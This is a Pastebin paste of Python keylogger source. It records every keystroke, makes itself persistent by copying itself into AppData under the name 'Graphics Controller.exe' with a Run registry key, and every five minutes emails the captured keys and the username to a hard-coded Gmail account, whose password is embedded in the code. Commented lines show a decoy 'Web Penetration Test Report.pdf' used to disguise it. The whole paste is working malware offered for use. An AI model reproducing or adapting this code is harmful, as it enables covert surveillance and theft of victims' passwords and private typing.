parthosutradhor

Keylogger

May 12th, 2020
221
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.51 KB | None | 0 0
  1. import subprocess, smtplib, threading, os, sys, shutil
  2. from email.mime.text import MIMEText
  3. from pynput import keyboard
  4.  
  5.  
  6. class Keylogger:
  7.     def __init__(self, time_interval):
  8.         self.become_persistance()
  9.         self.log = "Keylogger Started"
  10.         self.interval = time_interval
  11.  
  12.     def become_persistance(self):
  13.         evil_file_location = os.environ["appdata"] + "\\Graphics Controller.exe"
  14.         if not os.path.exists(evil_file_location):
  15.             shutil.copyfile(sys.executable, evil_file_location)
  16.             subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d "' + evil_file_location + '"', shell=True)
  17.  
  18.  
  19.     def process_key_press(self, key):
  20.         try:
  21.             self.log += str(key.char)
  22.         except AttributeError:
  23.             if key == key.space:
  24.                 self.log += " "
  25.             else:
  26.                 self.log += "<" + str(key) + ">"
  27.  
  28.     def machine_user(self):
  29.         DEVNULL = open(os.devnull, 'wb')
  30.         user = subprocess.check_output("whoami", shell=True, stderr=DEVNULL, stdin=DEVNULL)
  31.         return user.decode('ISO-8859-1')
  32.  
  33.     def send_mail(self, from_email, to_email, subject, message, password):
  34.         msg = MIMEText(message)
  35.         msg['From'] = from_email
  36.         msg['To'] = to_email
  37.         msg['Subject'] = subject
  38.         server = smtplib.SMTP("smtp.gmail.com", 587)
  39.         server.starttls()
  40.         server.login(from_email, password)
  41.         server.sendmail(from_email, [to_email], msg.as_string())
  42.         server.quit()
  43.  
  44.     def report(self):
  45.         user = self.machine_user()
  46.         try:
  47.             self.send_mail("pie.key.logger.pie@gmail.com", "pie.key.logger.pie@gmail.com", user, self.log, "cxwodyvtacalemmm")
  48.         except:
  49.             pass
  50.         self.log = ""
  51.         timer = threading.Timer(self.interval, self.report)
  52.         timer.start()
  53.  
  54.     def start(self):
  55.         keyboard_listener = keyboard.Listener(on_press=self.process_key_press)
  56.         with keyboard_listener:
  57.             self.report()
  58.             keyboard_listener.join()
  59.  
  60.  
  61. #file_name = os.path.abspath(".") + "\\Web Penetration Test Report.pdf"
  62. #subprocess.Popen(file_name)
  63.  
  64. #if getattr(sys, 'frozen', False):
  65. #    bundle_dir = sys._MEIPASS
  66. #else:
  67. #    bundle_dir = os.path.dirname(os.path.abspath("."))
  68.  
  69. #exe = os.path.join(bundle_dir, "Web Penetration Test Report.pdf")
  70. #os.system(exe)
  71.  
  72. try:
  73.     pie_key_logger = Keylogger(300)
  74.     pie_key_logger.start()
  75. except:
  76.     sys.exit()
Add Comment
Please, Sign In to add comment